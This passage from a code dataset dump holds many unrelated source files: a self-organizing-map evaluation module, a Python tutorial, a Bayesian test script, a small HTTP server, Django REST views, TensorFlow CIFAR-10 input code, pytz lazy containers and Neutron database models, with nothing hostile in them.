input_map.get_bmu_for_stimulus(input_stimulus)\n else:\n input_activation = input_map.activate(input_stimulus)\n output_activation = self._hebbian.activate(\n input_activation, input_index)\n return output_map.get_bmu_for_activation(output_activation)\n\n def evaluation(self, categories1, categories2):\n # Get list of BMUs and hit map for all categories.\n category1_bmus = self._bmus_for_categories(categories1, 1)\n category2_hits = self._hits_for_categories(categories1, 1)\n category2_bmus = self._bmus_for_categories(categories2, 2)\n category1_hits = self._hits_for_categories(categories2, 2)\n\n # If not using Hebbian connections, we switch the hit maps to simulate\n # activation on the map itself.\n if isinstance(self._hebbian, FakeHebbian):\n tmp_hits = category1_hits\n category1_hits = category2_hits\n category2_hits = tmp_hits\n\n # Calculate confusion matrices and generalization factors.\n cm1 = self._confusion_matrix(category1_bmus, category1_hits)\n cm2 = self._confusion_matrix(category2_bmus, category2_hits)\n gen1 = np.sum(np.diag(cm1) >= 0.8) / len(cm1)\n gen2 = np.sum(np.diag(cm2) >= 0.8) / len(cm2)\n\n return (\n # Confusion matrix.\n (\n cm1,\n cm2,\n ),\n # Hit map.\n (\n self._hit_map(category1_hits, 1),\n self._hit_map(category2_hits, 2),\n ),\n # Hit count.\n (\n self._hit_count(category1_hits, 1),\n self._hit_count(category2_hits, 2),\n ),\n # Average percent correct.\n (\n np.sum(np.diag(cm1)) / len(cm1),\n np.sum(np.diag(cm2)) / len(cm2),\n ),\n # Percent generalization factors.\n (\n gen1,\n gen2,\n ),\n # Taxonomic factor (generalization factors average).\n 0.5 * (gen1 + gen2),\n )\n\n def _bmus_for_categories(self, categories, input_index):\n input_map, output_map = self._get_maps(input_index)\n bmus = [[] for i in range(len(categories))]\n for category_index, stimuli in enumerate(categories):\n for stimulus in stimuli:\n bmu = input_map.get_bmu_for_stimulus(stimulus)\n bmus[category_index].append(bmu)\n return bmus\n\n def _hits_for_categories(self, categories, input_index):\n hits = dict()\n for category_index, stimuli in enumerate(categories):\n for stimulus in stimuli:\n bmu = self.activate(stimulus, input_index)\n if bmu not in hits:\n hits[bmu] = np.zeros(len(categories))\n hits[bmu][category_index] += 1\n return hits\n\n def _confusion_matrix(self, category_bmus, category_hits):\n matrix = []\n\n for category_index, bmus in enumerate(category_bmus):\n hits = np.zeros(len(category_bmus))\n for bmu in bmus:\n if bmu in category_hits:\n hits += category_hits[bmu]\n else:\n distance_hits = [(distance(bmu_hit, bmu), h)\n for bmu_hit, h in category_hits.items()]\n min_distance = np.min([d for d, h in distance_hits])\n distance_hits = np.stack(\n [h for d, h in distance_hits if d <= min_distance])\n hits += np.sum(distance_hits, axis=0) / len(distance_hits)\n matrix.append(hits / max(1, np.sum(hits)))\n\n return np.stack(matrix)\n\n def _hit_map(self, category_hits, input_index):\n input_map, output_map = self._get_maps(input_index)\n\n hit_map = np.zeros(input_map.size)\n for bmu, hits in category_hits.items():\n hit_map[bmu] = hits.argmax() + 1\n return hit_map\n\n def _hit_count(self, category_hits, input_index):\n input_map, output_map = self._get_maps(input_index)\n\n hit_count = np.zeros(input_map.size)\n for bmu, hits in category_hits.items():\n hit_count[bmu] = np.count_nonzero(hits)\n return hit_count\n\n def _get_maps(self, input_index):\n maps = [self._map1, self._map2]\n map_index = input_index - 1\n if isinstance(self._hebbian, FakeHebbian):\n return (maps[map_index], maps[map_index])\n else:\n return (maps[map_index], maps[1 - map_index])\n","sub_path":"lib/model/associative_memory.py","file_name":"associative_memory.py","file_ext":"py","file_size_in_byte":7136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282506213","text":"version = \"0.1.0001\"\nprint(version)\nfrom setuptools import setup, find_packages\n\nsetup(\n name='test_release3',\n version=version,\n author='Aleksander Cwikla',\n url=\"https://github.com/acwikla-novela/test_release3\",\n packages=find_packages(),\n description='Testing auto-release',\n platforms='Posix; MacOS X; Windows',\n python_requires='==3.7.4',\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"227393736","text":"students = ['paul', 'george', 'ringo', 'john']\ngrades = [100,90,50,70]\n\nidx = students.index('ringo')\nprint(grades[idx])\n\n# declare\nstugrades = {\n 'paul': 100,\n 'george': 90,\n 'ringo': 50,\n 'john': 70\n}\n\n# read / access\nprint(stugrades['ringo'])\n\n# add\nstugrades['pete'] = 105\n\n# modify / update\nstugrades['pete'] = 100\n\n# delete\ndel stugrades['george']\ndel stugrades['john']\ndel stugrades['george'], stugrades['john'] # one liner\n\nlist(stugrades.keys())\nlist(stugrades) # synonymous\nlist(stugrades.values())\n\nprint('paul' in stugrades)\nprint(100 in stugrades)\nprint(100 in stugrades.values())\n\n\n# CHESS BOARD\n\nboard = {\n 'a1': 'R+', 'b1': 'N+', 'c1': 'B+', 'd1': 'K+',\n 'a2': '', 'b2': '', 'c2': '', 'd2': '',\n 'a3': '', 'b3': '', 'c3': '', 'd3': '',\n 'a4': 'R-', 'b4': 'N-', 'c4': 'B-', 'd4': 'Q+',\n}\nboard['b2']\n\n# move b1 to b2\nboard['b2'] = board['b1']\nboard['b1'] = ''\n\n\n# --------------------\n# | K* | ...\n\nbtempl = '''\n+----+----+----+----+\n|{a1:^4}|{b1:^4}|{c1:^4}|{d1:^4}|\n+----+----+----+----+\n|{a2:^4}|{b2:^4}|{c2:^4}|{d2:^4}|\n+----+----+----+----+\n|{a3:^4}|{b3:^4}|{c3:^4}|{d3:^4}|\n+----+----+----+----+\n|{a4:^4}|{b4:^4}|{c4:^4}|{d4:^4}|\n+----+----+----+----+\n'''\nprint(btempl.format_map(board))\n\n# move b4 to b3\nboard['b3'] = board['b4']\nboard['b4'] = ''\nprint(btempl.format_map(board))\n\n\n# C# had if (expr) { ..... }\nval = 3\nif val == 3:\n print('val is equal to 3')\n print('yeah!!!')\nelif val == 4:\n print('val is equal to 4')\n print('yeah!!!')\nelse:\n print('val is NOT equal to 3 or 4')\n print('booooooo!')\nprint('DONE!!')\n\n# boolean operators\n# ==, !=, >, <, >=, <=, in, not in, is, is not\n\n","sub_path":"C/0129.py","file_name":"0129.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"451616686","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport glob\nimport pickle as pkl\nfrom collections import namedtuple\nimport bayesiantests as bt\n\n# Define named tuple that was used to store results.\ncomparePair = namedtuple('comparePair', 'algorithm1 algorithm2 scores')\n\n# Set rope and rho values.\nrope=0.01\nrho=1.0/10.0\n\n# Go over stored results dictionaries in folder.\nfor results in glob.glob('*.p'):\n\n # Load next results dictionary.\n with open(results, 'rb') as f:\n results_nxt = pkl.load(f)\n\n # Go over pair comparisons in dictionary.\n for results_idx in results_nxt.keys():\n nxt_pair = results_nxt[results_idx]\n names = (nxt_pair.algorithm1, nxt_pair.algorithm2)\n scores = nxt_pair.scores\n msk = np.logical_not(np.apply_along_axis(lambda x: np.all(x == 0), 1, scores))\n scores = scores[msk, :]\n\n # Compute probabilities.\n pleft, prope, pright = bt.hierarchical(scores,rope,rho)\n with open('results_bhctt.res', 'a') as f:\n f.write('{0}, {1}, {2}, {3}, {4}\\n'.format(nxt_pair.algorithm1, nxt_pair.algorithm2, pleft, prope, pright))\n\n # Sample posterior and make simplex plot.\n samples=bt.hierarchical_MC(scores,rope,rho, names=('MultiSURF', 'MultiSURF*'))\n fig = bt.plot_posterior(samples, names)\n plt.savefig(nxt_pair.algorithm1 + '_' + nxt_pair.algorithm2 + '.png')\n\n","sub_path":"evaluation_results/bayesian_hierarchical_correlated_t_test.py","file_name":"bayesian_hierarchical_correlated_t_test.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"124898426","text":"import random\r\n\r\nnum1 = random.randint(0,999)\r\nnum2 = random.randint(0,999)\r\n\r\ndef main():\r\n print(' ', num1)\r\n print('+', num2)\r\n ans = int(input('Enter your answer: '))\r\n check_answer(num1, num2, ans)\r\n\r\ndef check_answer(num1, num2, ans):\r\n if num1 + num2 == ans:\r\n print('Congrat!! Your answer is correct!!!')\r\n else:\r\n print('Wrong answer!! The answer is', num1 + num2)\r\nmain()\r\n","sub_path":"Chap 5/Exercise/math_quiz.py","file_name":"math_quiz.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"550291495","text":"#!/usr/bin/python3.5\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport threading, pickle, re, subprocess, urllib, pathlib\n\n\nclass MyHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n f_type_map = {'.html': 'text/html', '.css': 'text/css', '.ico': 'image/x-icon', '.jpg': 'image/jpeg',\n '.png': 'image/png', '.js': 'application/javascript'}\n t_type = re.compile('\\/|(\\.\\w*)')\n r_file = self.path.split('?')\n requested_type = t_type.findall(self.path)\n ex = requested_type[-1]\n if ex != '.py':\n res = 200\n fileToSend = None\n hds = []\n root = pathlib.PurePath('/home/jack/onedrive/LaptopProjects/LED science project/files')\n f = root.joinpath(r_file[0].strip('/'))\n if not pathlib.Path(f).exists():\n res = 404\n elif pathlib.Path(f).is_dir():\n if pathlib.Path(f / 'index.html').exists():\n f = f / 'index.html'\n with open(str(f), 'r') as file:\n fileToSend = file.read()\n hds.append(('content-type', 'text/html'))\n else:\n res = 404\n else:\n try:\n with open(str(f), 'r') as file:\n fileToSend = file.read()\n hds.append(('content-type', f_type_map[ex]))\n except UnicodeDecodeError:\n with open(str(f), 'rb') as file:\n fileToSend = file.read()\n hds.append(('content-type', f_type_map[ex]))\n if res == 200:\n self.send_response(res)\n else:\n self.send_error(res)\n for item in hds:\n i1, i2 = item\n self.send_header(i1, i2)\n self.end_headers()\n if fileToSend is not None:\n try:\n self.wfile.write(fileToSend.encode('utf-8'))\n except AttributeError:\n self.wfile.write(fileToSend)\n return\n else:\n try:\n with open('C:\\\\Users\\jackt.JACK-IS-AWESOME\\OneDrive\\LaptopProjects\\LED science project\\\\files\\params.dat', 'wb') as file:\n d = dict()\n for pair in list(r_file[1].split('&')):\n key, value = pair.split('=')\n d[key] = str(value)\n pickle.dump(d, file)\n except IndexError:\n pass\n self.send_response(200)\n self.send_header('Content-Type', 'text/html')\n self.end_headers()\n file = subprocess.run(['python3.5', '/home/jack/projects/server/files%s' % r_file[0]],\n stdout=subprocess.PIPE)\n self.wfile.write(file.stdout)\n\n def do_POST(self):\n pass\n\n def do_OPTIONS(self):\n methods = ['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE']\n sup_methods = []\n self.send_response(200)\n for m in methods:\n if hasattr(self, 'do_' + m):\n sup_methods.append(m)\n else:\n pass\n print(sup_methods)\n meth = ', '.join(sup_methods)\n self.send_header('Allow', meth)\n self.end_headers()\n\n\naddresses = list()\n\naddresses.append(('localhost', 9898))\n\n\ndef run():\n print('starting server ...')\n httpd = HTTPServer(addresses[0], MyHandler)\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n\n\n'''def run1():\n httpd = HTTPServer(addresses[1], MyHandler)\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass'''\n\n\nbg_server = threading.Thread(target=run)\n#bg_server1 = threading.Thread(target=run1)\nif __name__ == '__main__':\n bg_server.start()\n# bg_server1.start()\n for addr in addresses:\n print('\\nserver started at %s:%s' % addr)\n","sub_path":"local/Science-Project/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196120210","text":"# Засько Богдан\n# КНИТ16-А\n# №18; Последовательность чисел Фибоначчи, конечное из которых не более чем\n# целое число N\n\nwhile True:\n N=input(\"Введите целый ограничитель для числа Фибоначчи: \")\n if N.isdigit():\n N=int(N)\n y=[1,1]\n for i in range(2,N):\n y.append(y[i-2]+y[i-1])\n if y[i]>=N:\n y.remove(y[i])\n break\n print(\"Последовательность Фибоначчи\",y )\n print()\n else:\n print(\"Введите целое положительное число!\")\n cont=input(\"Для продолжения введите yes, для завершения любое другое значение \\n\")\n if cont==\"yes\":\n print(\"\")\n continue\n else:\n break\n","sub_path":"laba5/18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381679222","text":"import random\r\n\r\nRow = int(input(\"How many heads in a row?\"))\r\nTries = 0\r\nHeads = 0\r\nwhile Heads < Row:\r\n Coin = random.randrange(0, 2)\r\n if Coin == 0:\r\n Heads = 0\r\n elif Coin == 1:\r\n Heads += 1\r\n Tries += 1\r\n\r\nprint(\"It took\", Tries, \"tries.\")\r\n","sub_path":"Further Coin Test.py","file_name":"Further Coin Test.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641731949","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.core.files.uploadedfile import UploadedFile\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom rest_framework import generics\nfrom rest_framework.exceptions import NotFound\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework import mixins\nfrom rest_framework import viewsets\nfrom rest_framework.exceptions import PermissionDenied\nfrom django.contrib.auth.models import User\n\nfrom heritages.models import Heritage, Multimedia, Annotation\nfrom heritages.search import search_heritages, search_annotations\nfrom heritages.serializers import HeritageSerializer, MultimediaSerializer, AnnotationSerializer, UserSerializer, \\\n AnnotationPaleSerializer\nfrom heritages.permissions import IsOwner, IsNotAnonymous, IsSelf\n\n\nclass HeritagesListView(generics.ListCreateAPIView):\n queryset = Heritage.objects.all()\n serializer_class = HeritageSerializer\n\n def list(self, request, *args, **kwargs):\n keyword = self.request.query_params.get(\"keyword\", None)\n if not keyword:\n return super().list(request, *args, **kwargs)\n\n result = Response(search_heritages(keyword)).data\n return Response(i[\"_source\"] for i in result[\"hits\"][\"hits\"])\n\n\nclass HeritageView(generics.RetrieveUpdateDestroyAPIView):\n queryset = Heritage.objects.all()\n serializer_class = HeritageSerializer\n\n\nclass MultimediaListView(generics.ListCreateAPIView):\n serializer_class = MultimediaSerializer\n\n def get_queryset(self):\n try:\n heritage = Heritage.objects.get(pk=self.kwargs[\"heritage_id\"])\n except ObjectDoesNotExist:\n raise NotFound()\n return heritage.multimedia\n\n def perform_create(self, serializer):\n heritage_id = self.kwargs[\"heritage_id\"]\n try:\n heritage = Heritage.objects.get(pk=heritage_id)\n except ObjectDoesNotExist:\n raise NotFound()\n return serializer.save(heritage=heritage)\n\n\nclass MultimediaView(generics.RetrieveDestroyAPIView):\n queryset = Multimedia.objects.all()\n serializer_class = MultimediaSerializer\n\n\nclass MultimediaFileView(ViewSet):\n\n @staticmethod\n def get_file(request, multimedia_id):\n try:\n m = Multimedia.objects.get(pk=multimedia_id)\n except ObjectDoesNotExist:\n raise NotFound(multimedia_id)\n file = UploadedFile(m.file)\n return HttpResponse(file, content_type=\"image/png\")\n\n\nclass AnnotationListView(generics.ListCreateAPIView):\n serializer_class = AnnotationSerializer\n\n def get_queryset(self):\n queryset = Annotation.objects.all()\n heritage_id = self.kwargs[\"heritage_id\"]\n if heritage_id is not None:\n queryset = queryset.filter(target__target_id__contains=heritage_id)\n return queryset\n else:\n return NotFound()\n\n def get_serializer_context(self):\n return {\"target_id\": self.request.build_absolute_uri(),\n \"heritage_id\": self.kwargs[\"heritage_id\"]}\n\n def list(self, request, *args, **kwargs):\n keyword = self.request.query_params.get(\"keyword\", None)\n if not keyword:\n return super().list(request, *args, **kwargs)\n\n result = Response(search_annotations(keyword)).data\n return Response(i[\"_source\"] for i in result[\"hits\"][\"hits\"])\n\n\nclass AnnotationPaleListView(generics.ListCreateAPIView):\n serializer_class = AnnotationPaleSerializer\n\n def get_queryset(self):\n return Annotation.objects.all()\n\n def get_serializer_context(self):\n return {\"target_id\": self.request.build_absolute_uri()}\n\n def list(self, request, *args, **kwargs):\n keyword = self.request.query_params.get(\"keyword\", None)\n if not keyword:\n return super().list(request, *args, **kwargs)\n\n result = Response(search_annotations(keyword)).data\n return Response(i[\"_source\"] for i in result[\"hits\"][\"hits\"])\n\n\nclass AnnotationView(generics.RetrieveUpdateDestroyAPIView):\n queryset = Annotation.objects.all()\n serializer_class = AnnotationSerializer\n\n\nclass AnnotationPaleView(generics.RetrieveUpdateDestroyAPIView):\n queryset = Annotation.objects.all()\n serializer_class = AnnotationPaleSerializer\n\n\nclass Users(mixins.CreateModelMixin, viewsets.GenericViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass UserDetail(mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n permission_classes = (IsSelf,)\n\n def get_me(self, request):\n return Response(self.serializer_class(request.user).data)\n","sub_path":"heritago/heritages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"31049190","text":"def FormShow(form, parameter):\r\n uipJC = form.GetUIPartByName('uipJournalCode')\r\n uipJC.Edit()\r\n uipJC.mode = parameter.FirstRecord.mode\r\n \r\n #cek mode string tag parameter\r\n if uipJC.mode == 'new':\r\n sCaption = 'Tambah Baru '\r\n elif uipJC.mode == 'edit':\r\n sCaption = 'Koreksi '\r\n form.GetControlByName('pData.JournalCode_Id').Readonly = 1\r\n form.GetControlByName('pData.JournalCode_Id').Color = -2147483624\r\n elif uipJC.mode == 'view':\r\n sCaption = 'Lihat Detil '\r\n form.GetPanelByName('pData').SetAllControlsReadOnly()\r\n \r\n #pengaturan button\r\n form.GetControlByName('pButton.btnOK').Enabled = 0\r\n form.GetControlByName('pButton.btnOK').Default = 0\r\n form.GetControlByName('pButton.btnCancel').Caption = '&Tutup'\r\n form.GetControlByName('pButton.btnCancel').Default = 1\r\n \r\n form.Caption = sCaption + form.Caption\r\n \r\ndef btnOKClick(sender):\r\n uipJC = sender.OwnerForm.GetUIPartByName('uipJournalCode')\r\n savedMode = uipJC.mode\r\n \r\n #cek field yang perlu diisi\r\n if uipJC.JournalCode_Id in [None,'']:\r\n sender.OwnerForm.ShowMessage('Kode Jurnal wajib diisi.\\nMohon isi terlebih dahulu.')\r\n return\r\n\r\n sender.OwnerForm.CommitBuffer()\r\n try:\r\n sender.OwnerForm.PostResult()\r\n sender.OwnerForm.ResetAndClearData()\r\n \r\n if savedMode == 'edit':\r\n sender.ExitAction = 1\r\n else:\r\n #mode new, kembalikan lagi nilai mode\r\n uipJC.Edit()\r\n uipJC.mode = savedMode\r\n sender.OwnerForm.GetControlByName('pData.JournalCode_Id').SetFocus()\r\n\r\n except:\r\n raise\r\n","sub_path":"dialogs/master/fKodeJurnal_intr.py","file_name":"fKodeJurnal_intr.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"111501803","text":"import pickle\nimport numpy as np\nimport tensorflow as tf\n\n'''返回的dict是一个包含0-9数字的list列表,如[0,2,4,6,3,5,...,4,2,5]'''\n\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='latin1')\n return dict\n\n\n'''将上面的dict转换成对应的one-hot矩阵,shape=[n_sample,n_class]'''\n\n\ndef onehot(labels):\n n_sample = len(labels) # 数据集的数量\n n_class = max(labels) + 1 # one_hot分类的数量\n onehot_labels = np.zeros((n_sample, n_class))\n onehot_labels[np.arange(n_sample), labels] = 1\n return onehot_labels\n\n\ndef get_train():\n # 训练数据集\n data1 = unpickle('./data/cifar-10-batches-py/data_batch_1')\n data2 = unpickle('./data/cifar-10-batches-py/data_batch_2')\n data3 = unpickle('./data/cifar-10-batches-py/data_batch_3')\n data4 = unpickle('./data/cifar-10-batches-py/data_batch_4')\n data5 = unpickle('./data/cifar-10-batches-py/data_batch_5')\n\n x_train = np.concatenate((data1['data'], data2['data'], data3['data'], data4['data'], data5['data']), axis=0)\n y_train = np.concatenate((data1['labels'], data2['labels'], data3['labels'], data4['labels'], data5['labels']),\n axis=0)\n # 转换格式\n y_train = onehot(y_train)\n return x_train, y_train\n\n\ndef get_test():\n # 测试集\n test = unpickle('./data/cifar-10-batches-py/test_batch')\n x_test = test['data']\n y_test = onehot(test['labels'])\n return x_test, y_test\n\n\nx_train, y_train = get_train()\nx_test, y_test = get_test()\n\n\ndef image_train_change(image, label):\n image = tf.cast(image, tf.float32)\n image = tf.reshape(image, [3, 32, 32])\n image = tf.transpose(image, [1, 2, 0])\n # 图片随机剪裁\n image = tf.random_crop(image, [24, 24, 3])\n # 图片随机翻转\n image = tf.image.random_flip_left_right(image)\n # 图片随机调整亮度\n image = tf.image.random_brightness(image, max_delta=63)\n # 图片随机调整对比度\n image = tf.image.random_contrast(image, lower=0.2, upper=1.8)\n # 归一化处理\n image = tf.image.per_image_standardization(image)\n return image, label\n\n\ndef next_train_batch(batch_size=128):\n dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))\n dataset = dataset.map(image_train_change, num_parallel_calls=10)\n dataset = dataset.prefetch(-1)\n dataset = dataset.repeat().batch(batch_size, drop_remainder=True)\n iteration = dataset.make_one_shot_iterator()\n one_element = iteration.get_next()\n return one_element[0], one_element[1]\n\n\ndef image_test_change(image, label):\n image = tf.cast(image, tf.float32)\n image = tf.reshape(image, [3, 32, 32])\n image = tf.transpose(image, [1, 2, 0])\n # 图片随机剪裁\n image = tf.image.resize_image_with_crop_or_pad(image, 24, 24)\n # 归一化处理\n image = tf.image.per_image_standardization(image)\n return image, label\n\n\ndef next_test_batch(batch_size=len(x_test)):\n dataset = tf.data.Dataset.from_tensor_slices((x_test, y_test))\n dataset = dataset.map(image_test_change, num_parallel_calls=10)\n dataset = dataset.prefetch(-1)\n dataset = dataset.repeat().batch(batch_size, drop_remainder=True)\n iteration = dataset.make_one_shot_iterator()\n one_element = iteration.get_next()\n return one_element[0], one_element[1]\n","sub_path":"Cifar/worker 6/input/input_32.py","file_name":"input_32.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"13765403","text":"from threading import RLock\ntry:\n from collections.abc import Mapping as DictMixin\nexcept ImportError: # Python < 3.3\n try:\n from UserDict import DictMixin # Python 2\n except ImportError: # Python 3.0-3.3\n from collections import Mapping as DictMixin\n\n\n# With lazy loading, we might end up with multiple threads triggering\n# it at the same time. We need a lock.\n_fill_lock = RLock()\n\n\nclass LazyDict(DictMixin):\n \"\"\"Dictionary populated on first use.\"\"\"\n data = None\n\n def __getitem__(self, key):\n if self.data is None:\n _fill_lock.acquire()\n try:\n if self.data is None:\n self._fill()\n finally:\n _fill_lock.release()\n return self.data[key.upper()]\n\n def __contains__(self, key):\n if self.data is None:\n _fill_lock.acquire()\n try:\n if self.data is None:\n self._fill()\n finally:\n _fill_lock.release()\n return key in self.data\n\n def __iter__(self):\n if self.data is None:\n _fill_lock.acquire()\n try:\n if self.data is None:\n self._fill()\n finally:\n _fill_lock.release()\n return iter(self.data)\n\n def __len__(self):\n if self.data is None:\n _fill_lock.acquire()\n try:\n if self.data is None:\n self._fill()\n finally:\n _fill_lock.release()\n return len(self.data)\n\n def keys(self):\n if self.data is None:\n _fill_lock.acquire()\n try:\n if self.data is None:\n self._fill()\n finally:\n _fill_lock.release()\n return self.data.keys()\n\n\nclass LazyList(list):\n \"\"\"List populated on first use.\"\"\"\n\n _props = [\n '__str__', '__repr__', '__unicode__',\n '__hash__', '__sizeof__', '__cmp__',\n '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__',\n 'append', 'count', 'index', 'extend', 'insert', 'pop', 'remove',\n 'reverse', 'sort', '__add__', '__radd__', '__iadd__', '__mul__',\n '__rmul__', '__imul__', '__contains__', '__len__', '__nonzero__',\n '__getitem__', '__setitem__', '__delitem__', '__iter__',\n '__reversed__', '__getslice__', '__setslice__', '__delslice__']\n\n def __new__(cls, fill_iter=None):\n\n if fill_iter is None:\n return list()\n\n # We need a new class as we will be dynamically messing with its\n # methods.\n class LazyList(list):\n pass\n\n fill_iter = [fill_iter]\n\n def lazy(name):\n def _lazy(self, *args, **kw):\n _fill_lock.acquire()\n try:\n if len(fill_iter) > 0:\n list.extend(self, fill_iter.pop())\n for method_name in cls._props:\n delattr(LazyList, method_name)\n finally:\n _fill_lock.release()\n return getattr(list, name)(self, *args, **kw)\n return _lazy\n\n for name in cls._props:\n setattr(LazyList, name, lazy(name))\n\n new_list = LazyList()\n return new_list\n\n# Not all versions of Python declare the same magic methods.\n# Filter out properties that don't exist in this version of Python\n# from the list.\nLazyList._props = [prop for prop in LazyList._props if hasattr(list, prop)]\n\n\nclass LazySet(set):\n \"\"\"Set populated on first use.\"\"\"\n\n _props = (\n '__str__', '__repr__', '__unicode__',\n '__hash__', '__sizeof__', '__cmp__',\n '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__',\n '__contains__', '__len__', '__nonzero__',\n '__getitem__', '__setitem__', '__delitem__', '__iter__',\n '__sub__', '__and__', '__xor__', '__or__',\n '__rsub__', '__rand__', '__rxor__', '__ror__',\n '__isub__', '__iand__', '__ixor__', '__ior__',\n 'add', 'clear', 'copy', 'difference', 'difference_update',\n 'discard', 'intersection', 'intersection_update', 'isdisjoint',\n 'issubset', 'issuperset', 'pop', 'remove',\n 'symmetric_difference', 'symmetric_difference_update',\n 'union', 'update')\n\n def __new__(cls, fill_iter=None):\n\n if fill_iter is None:\n return set()\n\n class LazySet(set):\n pass\n\n fill_iter = [fill_iter]\n\n def lazy(name):\n def _lazy(self, *args, **kw):\n _fill_lock.acquire()\n try:\n if len(fill_iter) > 0:\n for i in fill_iter.pop():\n set.add(self, i)\n for method_name in cls._props:\n delattr(LazySet, method_name)\n finally:\n _fill_lock.release()\n return getattr(set, name)(self, *args, **kw)\n return _lazy\n\n for name in cls._props:\n setattr(LazySet, name, lazy(name))\n\n new_set = LazySet()\n return new_set\n\n# Not all versions of Python declare the same magic methods.\n# Filter out properties that don't exist in this version of Python\n# from the list.\nLazySet._props = [prop for prop in LazySet._props if hasattr(set, prop)]\n","sub_path":"contrib/python/pytz/pytz/lazy.py","file_name":"lazy.py","file_ext":"py","file_size_in_byte":5404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"111206041","text":"# Copyright (c) 2016 Cisco Systems Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom neutron.db import models_v2\nfrom neutron_lib.db import model_base\nimport sqlalchemy as sa\nfrom sqlalchemy import orm\nfrom sqlalchemy.sql.expression import true\n\nfrom gbpservice.neutron.extensions import cisco_apic\nfrom gbpservice.neutron.extensions import cisco_apic_l3\n\n\nclass NetworkExtensionDb(model_base.BASEV2):\n\n __tablename__ = 'apic_aim_network_extensions'\n\n network_id = sa.Column(\n sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"),\n primary_key=True)\n external_network_dn = sa.Column(sa.String(1024))\n nat_type = sa.Column(sa.Enum('distributed', 'edge', ''))\n svi = sa.Column(sa.Boolean)\n bgp_enable = sa.Column(sa.Boolean, default=False, nullable=False)\n bgp_type = sa.Column(sa.Enum('default_export', ''),\n default='default_export',\n nullable=False)\n bgp_asn = sa.Column(sa.String(64), default='0', nullable=False)\n\n network = orm.relationship(models_v2.Network,\n backref=orm.backref(\n 'aim_extension_mapping', lazy='joined',\n uselist=False, cascade='delete'))\n nested_domain_name = sa.Column(sa.String(1024), nullable=True)\n nested_domain_type = sa.Column(sa.String(1024), nullable=True)\n nested_domain_infra_vlan = sa.Column(sa.Integer, nullable=True)\n nested_domain_service_vlan = sa.Column(sa.Integer, nullable=True)\n nested_domain_node_network_vlan = sa.Column(sa.Integer, nullable=True)\n\n\nclass NetworkExtensionCidrDb(model_base.BASEV2):\n\n __tablename__ = 'apic_aim_network_external_cidrs'\n\n network_id = sa.Column(\n sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"),\n primary_key=True)\n cidr = sa.Column(sa.String(64), primary_key=True)\n network = orm.relationship(models_v2.Network,\n backref=orm.backref(\n 'aim_extension_cidr_mapping', lazy='joined',\n uselist=True, cascade='delete'))\n\n\nclass NetworkExtNestedDomainAllowedVlansDb(model_base.BASEV2):\n\n __tablename__ = 'apic_aim_network_nested_domain_allowed_vlans'\n\n # There is a single pool of VLANs for an APIC\n vlan = sa.Column(sa.Integer(), primary_key=True)\n network_id = sa.Column(\n sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"))\n network = orm.relationship(models_v2.Network,\n backref=orm.backref(\n 'aim_extension_domain_mapping',\n uselist=True,\n lazy='joined', cascade='delete'))\n\n\nclass SubnetExtensionDb(model_base.BASEV2):\n\n __tablename__ = 'apic_aim_subnet_extensions'\n\n subnet_id = sa.Column(\n sa.String(36), sa.ForeignKey('subnets.id', ondelete=\"CASCADE\"),\n primary_key=True)\n snat_host_pool = 